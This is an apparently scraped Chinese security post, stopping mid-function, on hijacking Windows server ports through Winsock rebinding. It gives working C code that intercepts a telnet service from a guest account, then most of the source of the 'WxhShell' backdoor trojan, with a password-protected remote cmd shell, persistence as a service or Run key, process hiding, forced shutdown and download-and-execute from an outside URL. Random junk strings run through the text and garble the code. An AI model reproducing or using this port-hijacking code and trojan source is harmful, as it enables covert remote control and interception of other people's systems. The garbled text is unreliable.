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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NYp46; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *Nh[T-y(s 4BAG GD2 saddr.sin_family = AF_INET; p v*n.U6 XfH[:XG3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); MFm2p?zPm !%%(o%bi~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K-drN)o )Fh5*UC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \L{V|}"X q <Zza 这意味着什么?意味着可以进行如下的攻击: k'JfXrW<! =-|,v* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |jE0H!j 8P3"$2q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5]yby"Z?} z;ko ) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #Vi:-zyY Z`Sbq{Kx 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 % /Y; %6@->c{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K/ 5U;oC fjm(C#^- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 79O'S du@ Doc_rQYku 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]KE"|}B d/Y#oVI #include w_]`)$9 #include p? L*vcU #include k]9v${Ke #include /[RO>Z9 DWORD WINAPI ClientThread(LPVOID lpParam); #[.aj2 int main() | )M>;q { %d"d<pvx WORD wVersionRequested; C6{\^kG^j2 DWORD ret; 5>u,Qh WSADATA wsaData; #9ZHt5T=$ BOOL val; x|lX1Mh$ SOCKADDR_IN saddr; %$CV?K$C SOCKADDR_IN scaddr; Ne9S90HsB6 int err; YecV+K'p: SOCKET s; GjH$!P=. SOCKET sc; {YigB int caddsize; ::R5F4 HANDLE mt; YwnYTt DWORD tid; 0S71&I$u] wVersionRequested = MAKEWORD( 2, 2 ); AD^Q`7K?uR err = WSAStartup( wVersionRequested, &wsaData ); !$L~/<&0g if ( err != 0 ) { FH7h?!|t printf("error!WSAStartup failed!\n"); ee\QK,QV return -1; zVyMmw\ } -"~XI~a@Wo saddr.sin_family = AF_INET; d !=AS ?3=y]Vb+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BH\!yxK @Z2^smf saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zW9/[Db saddr.sin_port = htons(23); !THa?U; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Xh_`*]ox { PB(I3R9 printf("error!socket failed!\n"); 0 n}2D7 return -1; 2D)B%nM[ } 'B yB1NL val = TRUE; #bCQEhCy //SO_REUSEADDR选项就是可以实现端口重绑定的 1=z6m7@'- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4U>g0 { :Fh#"<A&& printf("error!setsockopt failed!\n"); l#bE_PD; return -1; BHN EP |= } +*L<"@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k$3Iv"gbx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Cm%|hk>fQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 </]a`h] ^ DCBL&I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C8t;E` { xVN(It7g ret=GetLastError(); ,xI
FF-[0 printf("error!bind failed!\n"); H;{IOBo return -1; IN7Cpg~9% } B]u !BBjC listen(s,2); ,{2= nb[ while(1) -an~&C5\ { sWv!ig_ caddsize = sizeof(scaddr); keb.%cb= //接受连接请求 9%Qlg4~<s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V
`7(75 if(sc!=INVALID_SOCKET) OF/hD2V { _lrvK99 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); crQ_@@X?< if(mt==NULL) (lg~}Jwq { Zk~~`h printf("Thread Creat Failed!\n"); P:%r3F break; suHisc* } @Y !Jm } T/234;Uf| CloseHandle(mt); nxMZd=Y } QjOY1Xze closesocket(s); yT|44
D2j WSACleanup(); bT15jNa return 0; u0F{.fe } MO%+rf0~w DWORD WINAPI ClientThread(LPVOID lpParam) w8cbhc { 089v;
d 6 SOCKET ss = (SOCKET)lpParam; 'U-8w@\Z SOCKET sc; _%G;^ b unsigned char buf[4096];
~S\8 ' SOCKADDR_IN saddr; .z[#j]k long num; y({lE3P DWORD val; pi5DDK DWORD ret; I,W`s //如果是隐藏端口应用的话,可以在此处加一些判断 [ J4n% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 vj9'5]!~q saddr.sin_family = AF_INET; U".5x~UC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f7/M _sx saddr.sin_port = htons(23); :. u2^*< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HCT+.n6 { Qs ysy printf("error!socket failed!\n"); t;V^OGflv return -1; KW!+Ws } gx8i|] val = 100; Tvt(nWn(H1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P9W?sPnC5 { t;`ULp~& ret = GetLastError(); 3_8W5J3I return -1; 8[;AFm ?,` } a4n5i.; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ibg~.>.u{ { '61>.u:2 ret = GetLastError(); *7w!~mn[m return -1; 0?cJ>)N } a7!{`fR5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =]S,p7* 7 { %C_c%3d printf("error!socket connect failed!\n"); A7 6HM@Q closesocket(sc); %aV~RB# closesocket(ss); ^1y D&i'q return -1; H@b4(6
} nok-![ while(1) "'C5B>qO { =;(L$:l~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~E/=nv$ //如果是嗅探内容的话,可以再此处进行内容分析和记录 v#EFklOP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^7a@?|,q8 num = recv(ss,buf,4096,0); k136n#KN1 if(num>0) [^W
+^3V send(sc,buf,num,0); %|j8#09 else if(num==0) > `mV^QD break; a?xZsR num = recv(sc,buf,4096,0); D8{,}@ if(num>0) 6AoKuT; send(ss,buf,num,0); =K_&@|f+B else if(num==0) |*DkriYY break; lF
t^dl^ } ?C- ju8]| closesocket(ss); m>RtKCtP closesocket(sc); `X)A$lLr return 0 ; [b_qC'K[ } 1 e]D=2y Z;,G:@, hxMV?\MYj ========================================================== |>OBpb TV#>x!5!d 下边附上一个代码,,WXhSHELL [H{@<* iXq*EZb"R ========================================================== nM ?Nf} rNurzag #include "stdafx.h" ioEjbqD< ?^2nrh,n+ #include <stdio.h> &er,Wyc( #include <string.h> Y`(~eNX^% #include <windows.h> 97qf3^gGd #include <winsock2.h> m'N8[ o|h #include <winsvc.h> wa~zb!y< #include <urlmon.h> /]U;7) =z]rZSq*o #pragma comment (lib, "Ws2_32.lib") &H
P g> #pragma comment (lib, "urlmon.lib") t2YB(6w+xg gVe]?Jva` #define MAX_USER 100 // 最大客户端连接数 )8oN$20 #define BUF_SOCK 200 // sock buffer bWSc&/9y #define KEY_BUFF 255 // 输入 buffer R7K`9 c1f6 (> _Lb #define REBOOT 0 // 重启 >rJ**y #define SHUTDOWN 1 // 关机 B:Ft(, g cB
hEw #define DEF_PORT 5000 // 监听端口 %-$BtR2@o wlsx| #define REG_LEN 16 // 注册表键长度 4HR36=E6 #define SVC_LEN 80 // NT服务名长度 k5J18S ^#Mp@HK // 从dll定义API e!o\AB%d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2g~ @99` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "}#%h&, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \*'@F+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5!cp^[rGL Sc#3<nVg // wxhshell配置信息 @}:E{J#g struct WSCFG { ?qi~8.<w int ws_port; // 监听端口 K~2sX>l char ws_passstr[REG_LEN]; // 口令 j*[P\Cm int ws_autoins; // 安装标记, 1=yes 0=no v+[S${ char ws_regname[REG_LEN]; // 注册表键名 !>D[Y char ws_svcname[REG_LEN]; // 服务名 9#m3<oSJ char ws_svcdisp[SVC_LEN]; // 服务显示名 Xdo\DQn char ws_svcdesc[SVC_LEN]; // 服务描述信息 v|\#wrCT? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z^z{,
u;! int ws_downexe; // 下载执行标记, 1=yes 0=no ]uMZvAjb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" S89j:KRXH% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1G"ohosmF #z
_<{'
P" }; GlTpK^. !LM`2|3$ // default Wxhshell configuration M.
%
p'^5 struct WSCFG wscfg={DEF_PORT, $5.52 "xuhuanlingzhe", E?czolNl 1, Dr:M~r'6 "Wxhshell", ACi,$Uq6R "Wxhshell", hczDu8 "WxhShell Service", P+CdqOL "Wrsky Windows CmdShell Service", Maq`Or|4 "Please Input Your Password: ", L+p}%!g 1, Q{?\qCrrYl " http://www.wrsky.com/wxhshell.exe", dNNXMQ0" "Wxhshell.exe" :"Otsb7 }; @TD=or .& 4w=v
/WDo // 消息定义模块 z-b78A/8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LAo$AiTUR{ char *msg_ws_prompt="\n\r? for help\n\r#>"; M2p|&Z% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~tyqvHC char *msg_ws_ext="\n\rExit."; Hg<aU*o; char *msg_ws_end="\n\rQuit."; 7)5G 1 char *msg_ws_boot="\n\rReboot..."; _h5d~ char *msg_ws_poff="\n\rShutdown..."; w8R7Ksn( char *msg_ws_down="\n\rSave to "; gd]S;<Jh HcJ!( char *msg_ws_err="\n\rErr!"; o$l8"Uv char *msg_ws_ok="\n\rOK!"; =0]K(p, y6tqemz char ExeFile[MAX_PATH]; yP"}(!~m int nUser = 0; |;xEKnF HANDLE handles[MAX_USER]; JbL3/h] int OsIsNt; sR>>l3H U5wh( vi SERVICE_STATUS serviceStatus; m"/..&'GC SERVICE_STATUS_HANDLE hServiceStatusHandle; D
(8Z90 3<+ZA-2 // 函数声明 /;+\6(+X int Install(void); v]EZYEXFL) int Uninstall(void); $Wj{B@k int DownloadFile(char *sURL, SOCKET wsh); _AX,}9 int Boot(int flag); 3N-
'{c6]U void HideProc(void); _s#]WyU1g int GetOsVer(void); )Sb-e(sl int Wxhshell(SOCKET wsl); <mlN\BcX; void TalkWithClient(void *cs); l+>Y int CmdShell(SOCKET sock); !;h&@LXG( int StartFromService(void); 2 G2+oS
? int StartWxhshell(LPSTR lpCmdLine); \A011R& VBPtM{g VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /CO=!*7fz
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k(^TXUK\o )1B?<4 // 数据结构和表定义 e+-#/i* SERVICE_TABLE_ENTRY DispatchTable[] = &z40l['4bz { .=Oww {wscfg.ws_svcname, NTServiceMain}, ``k[CgV {NULL, NULL} dWiNe!oY2 }; 4)D~S4{E5
K];] // 自我安装 F"k`PF*b int Install(void) &8l?$7S"_/ { aReJ@ char svExeFile[MAX_PATH]; Y)F(-H) HKEY key; \ui'~n_t] strcpy(svExeFile,ExeFile); yc?L
OW0 c`\/] // 如果是win9x系统,修改注册表设为自启动 1!G}*38; if(!OsIsNt) { M>m!\bb%. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0+op|bdj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z;a)P.l.> RegCloseKey(key); /huh}&NNu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hvO$ f.i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BK4S$B RegCloseKey(key); d3q.i5']G return 0; 5o 5DG }
=cS5f#0 } "GZ}+K*GG } %V]v, else { sV2D:%\K: L5 Cfa- // 如果是NT以上系统,安装为系统服务 5PZ7-WJ/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q&{C%j~N if (schSCManager!=0) t !6sU]{ { y[.lfW?) SC_HANDLE schService = CreateService WHBGhU ( syg{qtBz^ schSCManager, <a$!S wscfg.ws_svcname, X$\CC18 wscfg.ws_svcdisp, )e'F[ SERVICE_ALL_ACCESS, /{hT3ncb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $t^Td< SERVICE_AUTO_START, y
`FZ 0FI SERVICE_ERROR_NORMAL, Q njK<}M9 svExeFile, T^#d;A NULL, 1aS:bFi` NULL, nlhv NULL, WgR%mm^ NULL, @OT$* Qh NULL i0wBZ i? ); @d~]3T if (schService!=0) /cx'(AT { h%u!UHA CloseServiceHandle(schService); +u=VO#IA# CloseServiceHandle(schSCManager); D=z="p\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0_ST2I"Ln strcat(svExeFile,wscfg.ws_svcname); }]dzY( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~ L%,9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QeFt
WjlqC RegCloseKey(key); FO[ s;dmzu return 0; ga\s5
} \F`>zY2$% } F7jkl4 CloseServiceHandle(schSCManager); ~E8/m_> rU } f?=0Wzb } ,7s+-sRG |,`"Omb9+m return 1; ^pu8\K;~ } w<THPFFF"
Nb3O>&J // 自我卸载 h@*I(ND< int Uninstall(void) )K]p^lO { n(# yGzq HKEY key; V >eG\ =to.Oa RR if(!OsIsNt) { ~"\v(\P e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MtPdpm6\ RegDeleteValue(key,wscfg.ws_regname); U& RegCloseKey(key); ._j?1Fw` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |P&
\C8h RegDeleteValue(key,wscfg.ws_regname); G#` RegCloseKey(key); fW=<bf return 0; >)NS U } 'L7u` } @N<h`vDa } dQrz+_ else { ~ehN%- KwaxNb5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -&1P2m/46 if (schSCManager!=0) r7V !M1 { rrE f<A} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dpu?JF] if (schService!=0) x;:jF_ { &+k*+ if(DeleteService(schService)!=0) { /3hY[#e CloseServiceHandle(schService); ?5B?P:=kl CloseServiceHandle(schSCManager); <VstnJo`Z return 0; fD\Fq'29{ } J[uH@3v CloseServiceHandle(schService); N}#"o } icIWv
CloseServiceHandle(schSCManager); C .B=E"e } .]4MtG } 9dAtQwGR"6 -~JYfj@ return 1; nvwf!iU6 } ^C~R)M:C 3Ur_?PM+C // 从指定url下载文件 j@+$lU*r int DownloadFile(char *sURL, SOCKET wsh) "Vl4=W)u { :Sd`4"AA HRESULT hr; sz/^Ie-~ char seps[]= "/"; pJ1\@G char *token; /+`%u&< char *file; .)bNi*& char myURL[MAX_PATH]; }:$ot18 char myFILE[MAX_PATH]; NySa%7@CD !"RRw&0M strcpy(myURL,sURL); +hispU3ia token=strtok(myURL,seps); fdwP@6eh while(token!=NULL) j+
L:Ao { l.
cp[ file=token; rx9y^E5T`; token=strtok(NULL,seps); $~1mKx]] } ^\`a-l^ ,G="wI GetCurrentDirectory(MAX_PATH,myFILE); [.Fq
l+ strcat(myFILE, "\\"); [7r^fD
A strcat(myFILE, file); tq'ri-c&b send(wsh,myFILE,strlen(myFILE),0); 2cIbX send(wsh,"...",3,0); 1\aTA, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dXM8iP if(hr==S_OK) 88S:E7
$ return 0; Y}2Sr-@u else gE^pOn return 1; }><[6Uz% f2M*]{N } :IJ<Mmb %-K5sIz // 系统电源模块 GBpdj}2= int Boot(int flag) K*,,j\Q. { .GNyADQp HANDLE hToken; nsVLgTbx TOKEN_PRIVILEGES tkp; !||Gfia jgPUR#) if(OsIsNt) { EN/t5d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rcw[`q3/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oq$#wiV"Q tkp.PrivilegeCount = 1; oyk&]'> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OX]P;#4tU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9c,/490Q if(flag==REBOOT) { _
gYj@
% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ErJ@$&7 return 0; uCuB>x& } M&faa7 else { ohe[rV>EX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ao .vB']T return 0; a.?U$F } ~Sm6{L } ]'Ho)Q else { OUGkam0UK if(flag==REBOOT) { h.ftl2> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }KIS_krs return 0; aL90:,V } #s\kF * else { hjFht+j1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O
j:I @c return 0; hp9LV2_5 } vbtZ5Gm } S|LY U!IWZ $^?VyHXvY return 1; r`EjD}2d } >s"/uo fvi0gE@bd // win9x进程隐藏模块 6\K\d_x void HideProc(void) Y[}A4` { * O?Yp%5NH ]plp.f#av HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +s8R]3NJ_H if ( hKernel != NULL ) m}RZ)c { xypgG;`\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w <"mS*Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iZeq
l1O FreeLibrary(hKernel); W,CAg7:* } ' F9gp!s8~ SN L-6]j return; 2;
,8 u } &}2@pu[S?7 >,3 uu}s // 获取操作系统版本 to&,d`k=- int GetOsVer(void) {!qnHv\S { ~;Y Tz OSVERSIONINFO winfo; X_@|+d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S1y6G/e9 GetVersionEx(&winfo); 2=8PA/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Udn Rsp9S return 1; G'-#99wv. else D^.
c: return 0; pXN'vP } ?H@<8Ra=3 s9nPxC&A // 客户端句柄模块 C:5d/9k int Wxhshell(SOCKET wsl) K#X/j'$^ { v)_FiY QQ6 SOCKET wsh; ?(d1;/0v> struct sockaddr_in client; N AY3.e DWORD myID; '=Lpch2J *kqC^2t while(nUser<MAX_USER) t? 6 et1~ { >jIn&s!} int nSize=sizeof(client); X"_
^^d- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _[Imwu} if(wsh==INVALID_SOCKET) return 1; d*gv.mE y||RK`H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *.|%uf. if(handles[nUser]==0) v]F4o1ckk closesocket(wsh); JVy|SA&R else JOt(r}gU nUser++; 'gs P9 } .|R4E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^ `Ozw^~ 8^j~uH return 0; At=d//5FFP } f?k0(rl Qm[s"pM // 关闭 socket hd9HM5{p void CloseIt(SOCKET wsh) FV
"pJ { 4FRi=d;mP closesocket(wsh); ~,1Sw7rE nUser--; R`a~8QVh&5 ExitThread(0); ([<HFc` } \b(&-=( ~KMah // 客户端请求句柄 E;C{i void TalkWithClient(void *cs) j`RG Moq { Z8xB
a0 1s=Q~*f~d SOCKET wsh=(SOCKET)cs; YFB>GQ; char pwd[SVC_LEN]; XxmWj-=qO char cmd[KEY_BUFF]; A2M(
ad char chr[1]; -9= DDoO int i,j; \uPzj_kU6 7mMGH( while (nUser < MAX_USER) { "*t6KXVaM ZuGd{p$ if(wscfg.ws_passstr) { 04|ZwX$>+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <.4(#Ebd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bgc]t //ZeroMemory(pwd,KEY_BUFF); 2Wluc37 i=0; Vl5>o$G|<. while(i<SVC_LEN) { oxc;DfJ_ PJN9[Y{^3 // 设置超时 Hm'"I!jyO fd_set FdRead; \/3(>g?4 struct timeval TimeOut; BM /FOY; FD_ZERO(&FdRead); m-
<y|3 FD_SET(wsh,&FdRead); K}@rte TimeOut.tv_sec=8; e3;D1@ TimeOut.tv_usec=0; a#r{FoU{M8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J3
Q_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kMch )f:i4.M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +M
I{B="7. pwd =chr[0]; 4DCh+|r if(chr[0]==0xd || chr[0]==0xa) { _<.VP pwd=0; OU,FU@6,7w break; X<;. } \]Ah=` i++; S^pb9~ } G:$kGzhJ 15j5F5P // 如果是非法用户,关闭 socket %BkE %ZcZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %[*-aA } Nz`8)Le KUZi3\p9W> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I &iyj99n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x7zc3%T's tz;o6,eb while(1) { d5gwc5X kb2C9< ZeroMemory(cmd,KEY_BUFF); jJiuq#;T3 X.4WVI // 自动支持客户端 telnet标准 G=17]>U j=0; ;
D<k while(j<KEY_BUFF) { [#gm[@d, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n?r8ZDJ' cmd[j]=chr[0]; pwfQqPC#_ if(chr[0]==0xa || chr[0]==0xd) { }5vKQf cmd[j]=0; ^R@)CIQ break; C<^i`[&P$ } L.@$rFhA j++; YM_ [ } )m7%cyfC i;%G Z8 // 下载文件 ]}g\te if(strstr(cmd,"http://")) { I(~([F2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lbz/M_G if(DownloadFile(cmd,wsh)) )4uWB2ZRoi send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2ye
^<-C. else G^d3$7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /P,1KVQPh } 7/<~s]D[% else { TzaeE
p+=zl`\=| switch(cmd[0]) { /Kli C\ OoA!N-Q // 帮助 i_*yS+Z; case '?': {
6NV592 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lf%3-P break; a%`Yz"<lQ } ^ou)c/68aQ // 安装 $;Fx Zkp case 'i': { _?"y1L. if(Install()) y60aJ)rAX send(wsh,msg_ws_err,strlen(msg_ws_err),0); j%'2^C8 else ^oPFLez56 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _=I1 break; 1<m`38' } L-?ty@-i // 卸载 x*z[(0g! case 'r': { Jt]RU+TB if(Uninstall()) )KFxtM- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne<S_u2nT else xwD` R* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!SsIy( break; 'M6+(`x } <1I4JPh>x // 显示 wxhshell 所在路径 Fvk=6$d2 case 'p': { afX|R char svExeFile[MAX_PATH]; :|V650/ strcpy(svExeFile,"\n\r"); ?QffSSj[s strcat(svExeFile,ExeFile); b(N\R_IQ~ send(wsh,svExeFile,strlen(svExeFile),0); Wx-0Ip'9 break; !~C%0{9+u@ } Nxt:U{`T' // 重启 =|AYT6z, case 'b': { }d}sC\>U send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %N&.B if(Boot(REBOOT)) [#Apd1S_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); H}GGUE&c* else { '-A;B.GV% closesocket(wsh); k^ZP~.G ExitThread(0); (^iF)z }
RP{0+ break; '9u?lA^9$ } LGuZp?" // 关机 vzs4tkG case 'd': { K!\v?WbF send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tx
d0S! if(Boot(SHUTDOWN)) 39O rY send(wsh,msg_ws_err,strlen(msg_ws_err),0); vW eg1 else { _Vp"G)1Y closesocket(wsh); 1A'eH:$ ExitThread(0); ;8PO}{rD } mhrF9&s break; G?@W;o) } N4,oO H~ // 获取shell =| T ^)J case 's': { mOj; 0 R CmdShell(wsh); .g}N@ closesocket(wsh); BNJ0D ExitThread(0);
Z:^#9D{ break; M>5OC)E } + Fo^NT // 退出 eZa7brC| case 'x': { V5$Gb6?K send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P^"RH&ZQJ CloseIt(wsh); '|=Pw break; ?WXftzdf6u } T1$p%yQH // 离开 OF`J{`{r case 'q': { b||usv[or send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tk[]l7R~ closesocket(wsh); &c!6e<o[p WSACleanup(); mvH8hvD9 exit(1); ByP<-Deh break; glCpA$;VPu } az![u) } }=v4(M `% } ~vt*%GN3 n.c0G` // 提示信息 Htr]_<@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s9"X.-! } .gfi9J }
)nf%S+KV 3'x>$5W return; >)C7IQ/ } 'z,kxra|n v`QDms,{ // shell模块句柄 &&l
ZUR,` int CmdShell(SOCKET sock) AJ>E\DK0] { B|a <=~ STARTUPINFO si; @yb'h`f] ZeroMemory(&si,sizeof(si)); 2;T?ry7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WqefH{PB si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +o4o!;E) PROCESS_INFORMATION ProcessInfo; Wjq9f; char cmdline[]="cmd"; 4|&/#Cz^Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Czw]5 return 0; :'%|LBc0 } |MKR&%Na lHM}
E$5 // 自身启动模式 0~ nCT&V int StartFromService(void) Z<>gx m< { 7r?,wM typedef struct N KgEs { kM4z
% DWORD ExitStatus; e@VJ-s DWORD PebBaseAddress; K_Y{50# DWORD AffinityMask; {M:/HQo DWORD BasePriority; _Zav Y<6 ULONG UniqueProcessId; tH;9"z#
